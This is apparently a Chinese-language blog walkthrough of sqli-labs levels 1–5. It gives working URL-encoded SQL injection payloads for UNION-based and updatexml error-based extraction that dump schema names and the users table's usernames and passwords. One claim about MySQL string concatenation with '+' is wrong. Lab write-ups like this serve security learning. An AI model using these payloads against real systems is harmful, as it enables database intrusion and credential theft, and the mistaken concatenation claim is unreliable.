sqli-labs过关

关于sqli-labs靶场的搭建,可以参阅我的另一篇文章 ubuntu下sqli-labs靶场搭建

第一关

这里有一个图片

提示我们带参数ID,但试了1、2、3都不行,发现是小写的id,这提示有点抽象

这里有一个图片

判断数据库类型

#注释仅适用于mysql和sqlite,构造1;#123并进行URL编码

这里有一个图片

最终的payload为?id=1%3B%23123

这里有一个图片

上图成功输出用户名和密码说明#注释能用

 

接着判断是mysql还是sqlite

mysql中字符串拼接可用'ab' + 'cd' = 'abcd',但sqlite中不能

构造1 and 'ab' + 'cd' = 'abcd';#123并进行URL编码

这里有一个图片

最终payload为?id=1%20and%20%27ab%27%20%2B%20%27cd%27%20%3D%20%27abcd%27%3B%23123

这里有一个图片

数据库居然报错了,当然可以直接从报错信息得出数据库管理系统为mysql,但是一般服务器都不会将报错信息回送给客户端的,只会显示诸如搜索结果为空或直接置空之类的

 

它这里的报错信息让我百思不得其解,直接查看源码,发现它居然在SQL语句中给id字段加单引号,但在mysql中其数据类型为int。虽然mysql会自动进行数据类型转换,但这个代码编写得确实很有瑕疵

这里有一个图片

这里有一个图片

 

那我们将payload修改为1' 'ab' + 'cd' = 'abcd';#123,并进行URL编码

这里有一个图片

最终的payload为1%27%20and%20%27ab%27%20%2B%20%27cd%27%20%3D%20%27abcd%27%3B%23123

这里有一个图片

成功显示出用户名密码,说明数据库为mysql

字段数量查询

查询当前使用的表有多少个字段

是两个吗?-2' union select 1,2;#123

URL编码%2D2%27%20union%20select%201%2C2%3B%23123

这里有一个图片

不是两个

 

是三个吗?-2' union select 1,2,3;#123

URL编码%2D2%27%20union%20select%201%2C2%2C3%3B%23123

这里有一个图片

是三个,且显示在浏览器的是第二个和第三个字段

爆出所有库名

-2' union select 1, GROUP_CONCAT(distinct TABLE_SCHEMA), 3 from information_schema.COLUMNS;#123

URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28distinct%20TABLE%5FSCHEMA%29%2C%203%20from%20information%5Fschema%2ECOLUMNS%3B%23123

这里有一个图片

爆出所有表名

爆出security库的所有表名

-2' union select 1, GROUP_CONCAT(distinct TABLE_NAME), 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'security';#123

URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28TABLE%5FNAME%29%2C%203%20from%20information%5Fschema%2ECOLUMNS%20where%20TABLE%5FSCHEMA%20%3D%20%27security%27%3B%23123

这里有一个图片

爆出所有字段名

爆出users表中的所有字段名

-2' union select 1, GROUP_CONCAT(distinct COLUMN_NAME), 3 from information_schema.COLUMNS where TABLE_SCHEMA = 'security' and TABLE_NAME = 'users';#123

URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28distinct%20COLUMN%5FNAME%29%2C%203%20from%20information%5Fschema%2ECOLUMNS%20where%20TABLE%5FSCHEMA%20%3D%20%27security%27%20and%20TABLE%5FNAME%20%3D%20%27users%27%3B%23123

这里有一个图片

爆出所有用户名密码

爆出users表中的所有用户名密码

-2' union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123

URL编码%2D2%27%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123

这里有一个图片

以这种方式,整个数据库的所有数据都能被导出

第二关

输入1没问题,输入1%27报错

这里有一个图片

说明这次后端的SQL语句没有加单引号

其它步骤跟第一关一致,只是要去掉-2后面的单引号

-2 union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123

URL编码%2D2%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123

这里有一个图片

第三关

输入1%27报错如下

这里有一个图片

说明后端的SQL语句是这样的... id = ('$id') ...

那只用将-2'替换为-2'),其它步骤跟第一关一致

-2') union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123

URL编码%2D2%27%29%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123

这里有一个图片

第四关

输入1%22报错如下

这里有一个图片

说明后端的SQL语句是... id = ("$id") limit 0,1

那只用将-2'替换为-2"),其它步骤跟第一关一致

-2") union select 1, GROUP_CONCAT(username), GROUP_CONCAT(password) from security.users;#123

URL编码%2D2%22%29%20union%20select%201%2C%20GROUP%5FCONCAT%28username%29%2C%20GROUP%5FCONCAT%28password%29%20from%20security%2Eusers%3B%23123

这里有一个图片

第五关

输入1不报错,但只显示you are in

输入1%27报错,得出后端的SQL语句为... id = '$id' limit 0,1

这里有一个图片

但因为成功查询只会给出固定的you are in,所以只能在报错信息上做文章

使用updatexml函数,构造-2' union select 1, updatexml('<a><b>123</a></b>', CONCAT('!', (select GROUP_CONCAT(distinct TABLE_SCHEMA) from information_schema.COLUMNS), '!'), '456'), 3;#123

URL编码%2D2%27%20union%20select%201%2C%20updatexml%28%27%3Ca%3E%3Cb%3E123%3C%2Fa%3E%3C%2Fb%3E%27%2C%20CONCAT%28%27%21%27%2C%20%28select%20GROUP%5FCONCAT%28distinct%20TABLE%5FSCHEMA%29%20from%20information%5Fschema%2ECOLUMNS%29%2C%20%27%21%27%29%2C%20%27456%27%29%2C%203%3B%23123

这里有一个图片

因为此错误的细节只显示32字节,于是数据库名显示不全,就要用到not in (xxx)

-2' union select 1, updatexml('<a><b>123</a></b>', CONCAT('!', (select GROUP_CONCAT(distinct TABLE_SCHEMA) from information_schema.COLUMNS where TABLE_SCHEMA not in ('challenges', 'information_schema')), '!'), '456'), 3;#123

URL编码%2D2%27%20union%20select%201%2C%20updatexml%28%27%3Ca%3E%3Cb%3E123%3C%2Fa%3E%3C%2Fb%3E%27%2C%20CONCAT%28%27%21%27%2C%20%28select%20GROUP%5FCONCAT%28distinct%20TABLE%5FSCHEMA%29%20from%20information%5Fschema%2ECOLUMNS%20where%20TABLE%5FSCHEMA%20not%20in%20%28%27challenges%27%2C%20%27information%5Fschema%27%29%29%2C%20%27%21%27%29%2C%20%27456%27%29%2C%203%3B%23123

这里有一个图片

此处省略中间过程

-2' union select 1, updatexml('<a><b>123</a></b>', CONCAT('!', (select CONCAT(username, password) from security.users where id = 1), '!'), '456'), 3;#123

URL编码%2D2%27%20union%20select%201%2C%20updatexml%28%27%3Ca%3E%3Cb%3E123%3C%2Fa%3E%3C%2Fb%3E%27%2C%20CONCAT%28%27%21%27%2C%20%28select%20CONCAT%28username%2C%20password%29%20from%20security%2Eusers%20where%20id%20%3D%201%29%2C%20%27%21%27%29%2C%20%27456%27%29%2C%203%3B%23123

这里有一个图片

得到id为1的用户名密码

借助这种方式,可爆出数据库的所有数据


sqli-labs过关
https://www.pasiphae.top/2022/11/20/sqli-labs过关/
作者
pasiphae
发布于
2022年11月20日
许可协议